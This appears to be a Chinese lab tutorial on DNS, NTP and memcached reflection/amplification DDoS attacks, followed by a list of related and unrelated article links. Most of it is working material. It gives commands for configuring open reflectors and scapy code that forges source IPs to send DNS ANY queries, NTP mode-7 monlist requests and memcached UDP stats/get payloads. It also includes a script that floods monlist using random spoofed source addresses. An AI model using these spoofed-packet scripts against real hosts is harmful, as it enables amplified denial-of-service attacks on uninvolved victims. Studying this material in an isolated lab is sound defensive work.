DDOS反射攻击
0x01 环境
包含3台主机
attact 作为攻击方,使用Centos7.2
reflect 作为流量放大器,安装有dns 、ntp 、memcached三种可以放大流量的服务
windows_server ,用于被攻击,同时抓包分析流量 ,任意版本均可。安装wireshark,用于抓包
0x02 步骤
一、DNS放大攻击
登录 reflect机器,安装并配置BIND
yum -y install bind
修改BIND默认配置
vi /etc/named.conf
listen-on port 53 { x.x.x.x; }; //其中x.x.x.x为本机IP地址
//allow-query { localhost; }; //注释此行,允许所有查询
启动服务
systemctl start named
此处需要注意centos7防火墙配置,可以关闭或添加放行规则,否则其它计算机仍然无法使用BIND查询DNS
登录attact机器,安装python 及scapy模块
yum -y install python
yum -y install epel-release
yum -y install python-pip
pip install scapy -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
登录attact机器,安装dig查询工具
dig类似于windows下nslookup
yum install bind-utils
使用tcpdump抓DNS包
tcpdump -i ens33 -c 20 -w dns.pcap 'port 53'
//ens33为接口名
使用dig进行any查询
dig any baidu.com @x.x.x.x
// x.x.x.x 为reflect服务器IP,即DNS服务器IP
可以看到大量返回值,同时用wireshark打开保存下来的dns.pcap文件。用于后述分析。
登录attact机器,使用scapy构造攻击
关于scapy的使用,可以在互联网上查询。查询协议支持字段可以用如:ls(DNS)
使用scapy读取数据包及显示
pcap=rdpcap("dns.pcap")
pcap[0]
进入scapy,根据wireashark抓包构造如下数据,注意更换源地址和目标地址
源地址:攻击机IP
目的IP:DNS IP
i=IP(src="192.168.164.1",dst="192.168.164.136")
u=UDP()
q=DNSQR(qname="baidu.com",qtype=255)
d=DNS(rd=1,qdcount=1,qd=q)
r=(i/u/d)
sr1(r)
抓包观察效果,尝试伪造源地址,再次发送。
二、NTP放大攻击
登录reflect机器,安装并配置NTP服务
NTP需要4.2.6P5前的版本,可以yum list ntp查看后,yum 安装
centos7.3 直接安装即可
yum -y install ntp
配置NTP :vi /etc/ntp.conf
注释以下两行,允许所有客户端访问
#restrict 127.0.0.1
#restrict ::1
修改下面网段,提高本地访问的权限
# Hosts on local network are less restricted.
restrict 192.168.164.0 mask 255.255.255.0 nomodify notrap
注释以下一行,开启monitor功能
#disable monitor
保存文件后,启动服务
systemctl start ntpd
登录attactt机器,测试NTP服务器是否正常工作 ,并抓包分析
tcpdump
其中x.x.x.x为 reflect服务器IP
ntpdate x.x.x.x //测试服务器是否工作
ntpdc -n -c monlist x.x.x.x //获取服务器monlist列表
登录attactt机器,使用脚本构造monlist数据
编写以下python脚本,保存为send_ntp.py
from scapy.all import *
import random
ntp_server = sys.argv[1]
num = int(sys.argv[2])
for i in range(num):
ip = str(random.randint(1,200))+'.192.192.192'
send(IP(dst=ntp_server,src=ip)/UDP(sport=123)/NTP(leap=3,version=4,mode=3))
print(ip)
使用脚本发送查询数据
python send_ntp.py x.x.x.x 100
放大器IP
再次获取monlist查看
ntpdc -n -c monlist x.x.x.x
登录attactt机器,使用scapy构造攻击数据包
注意替换源地址与目标地址
源地址:攻击机IP
目的IP:ntp IP
scapy
i=IP(dst="192.168.164.129",src="192.168.5.5")
u=UDP()
n=NTPPrivate(version=2,mode=7,implementation=3,request_code=42)
send(i/u/n)
三、memcached放大攻击
登录reflect机器,安装并配置MEMCACHED服务
yum -y install memcached //yum安装memcached
systemctl start memcached //启动memcached服务
netstat -tunl //确认11211 udp端口是否开启
登录attact机器 测试MEMCACHED是否可用
yum -y install telent
telnet x.x.x.x 11211 //x.x.x.x 为reflect服务器IP
stats //查询memcached状态
set 8abc 0 0 80 //设置一个键值,注意对应80为长度
abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123 //看到回显STORED表示成功
get 8abc //获取8abc的值
登录attactt机器,使用scapy构造攻击数据包
这里我们可以用stats查询来放大,也可以用get某一键值,来放大
因为反射攻击需要使用UDP协议,MEMCACHED使用UDP时,需加上\x00\x00\x00\x00\x00\x01\x00\x00
源地址:攻击机IP
目的IP:放大器 IP
scapy
i=IP(src="192.168.164.129",dst="192.168.164.136")
u=UDP(sport=44444,dport=11211)
raw1= "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\nstats\r\n" //设置负载为 stats stats
raw2="\x00\x00\x00\x00\x00\x01\x00\x00get 8abc\r\n" //设置负载为get 8abc,获取8abc键值
sr1(i/u/raw1)
sr2(i/u/raw2)
DDOS反射攻击的更多相关文章
- 放大倍数超5万倍的Memcached DDoS反射攻击,怎么破?
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 作者:腾讯游戏云 背景:Memcached攻击创造DDoS攻击流量纪录 近日,利用Memcached服务器实施反射DDoS攻击的事件呈大幅上 ...
- DDoS的攻击方法
DDoS攻击 DDoS攻击的方法 攻击网络带宽资源 我们可以采用对目标的网络带宽资源进行攻击,目的就是浪费对方有限的网络带宽资源,使得目标服务出现网络滞缓直至网络带宽资源匮乏,无法访问或访问速度慢. ...
- DDOS攻击与防御简单阐述,列出DDOS的攻击方法和防御方法
参考1:https://www.hi-linux.com/posts/50873.html#%E7%BD%91%E7%BB%9C%E5%B1%82-ddos-%E6%94%BB%E5%87%BB 什么 ...
- DDOS的攻击原理和防护指南(转)
DDOS的攻击原理和防护指南 作者:冰盾防火墙 网站:www.bingdun.com 日期:2008-01-07 我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distribut ...
- linux ddos防御攻击
Linux Ddos防御攻击 [root@lxh ~]# netstat -ntu |awk '{print $5}'|grep '[0-9]'|cut -d: -f1 |sort |uniq -c| ...
- DDOS的攻击原理和防护指南
我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distributed Denial of Service的缩写,意思是分布式拒绝服务.拒绝服务又是什么意思呢?就是采取一些垃圾数据包来阻塞网站 ...
- DDOS的攻击原理和如何防护网站和游戏恶意攻击
DDOS的攻击原理和如何防护网站和游戏恶意攻击 1-DDOS全名是Distribution Denial of Service (分布式拒绝服务攻击),很多DOS攻击源 ...
- 常见的 CSRF、XSS、sql注入、DDOS流量攻击
CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...
- 不可不知 DDoS的攻击原理与防御方法
DoS攻击.DDoS攻击和DRDoS攻击相信大家已经早有耳闻了吧!DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Service ...
随机推荐
- 第2章 selenium开发环境的搭建
前端技术: html:网页的基础,一种标记语言,显示数据: JS:前端脚本语言,解释型语言,在页面中添加交互行为 xml:扩展标记语言,用来传输和存储数据 css:层叠样式表,用来表现HTML或XML ...
- 通过C#在控制台输出各种图形文字
这不是要准备公司年会了嘛 每个部门抓壮丁,必须安排至少一个节目 想着上去唱首歌算了,被毙,没有部门特色 妈蛋,唱歌没特色,那隔壁在前线工作的部门要表演个啥,抄表? 冥思苦想之下,给节目加了点部门特色, ...
- 《PHP程序员面试笔试宝典》——如何回答快速估算类问题?
如何巧妙地回答面试官的问题? 本文摘自<PHP程序员面试笔试宝典> 有些大企业的面试官,总喜欢出一些快速估算类问题,对他们而言,这些问题只是手段,不是目的,能够得到一个满意的结果固然是他们 ...
- JavaScript函数式编程(纯函数、柯里化以及组合函数)
JavaScript函数式编程(纯函数.柯里化以及组合函数) 前言 函数式编程(Functional Programming),又称为泛函编程,是一种编程范式.早在很久以前就提出了函数式编程这个概念了 ...
- MyBatis功能点一应用:二级缓存整合redis
Mybatis提供了默认的cache实现PerpetualCache,那为什么还要整合第三方的框架redis?因为Mybatis提供的cache实现为单机版,无法实现分布式存储(即本机存储的数据,其他 ...
- JVM学习——垃圾回收GC(学习过程)
JVM学习-垃圾回收(GC) 2020年02月19日06:03:56,开始学习垃圾回收,学习资料来源(张龙老师的JVM课程) JVM内存数据区域知识复习 学习垃圾回收之前,要对JVM内部的内存区域有详 ...
- demo_2_27
#define _CRT_SECURE_NO_WARNINGS 1#include <stdio.h>#include <string.h> int count_bit_one ...
- Telnet拓展测试--在生产测试场景的应用
本文关键词:流量测试.Telnet拓展测试.TCP/IP.时延 一.Telnet简介 Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式.它为用户提供了在 ...
- shell脚本读取命令行的参数
转至:https://www.cnblogs.com/eternityz/p/13879836.html 前提 在编写shell程序时经常需要处理命令行参数 选项与参数: 如下命令行: ./test. ...
- Objective-C 基础教程第五章,复合
目录 Objective-C 基础教程第五章,复合 什么是复合? Car程序 自定义NSLog() 存取方法get Set Tires(轮胎) 存取方法 Car类代码的其他变化 扩展Car程序 复合还 ...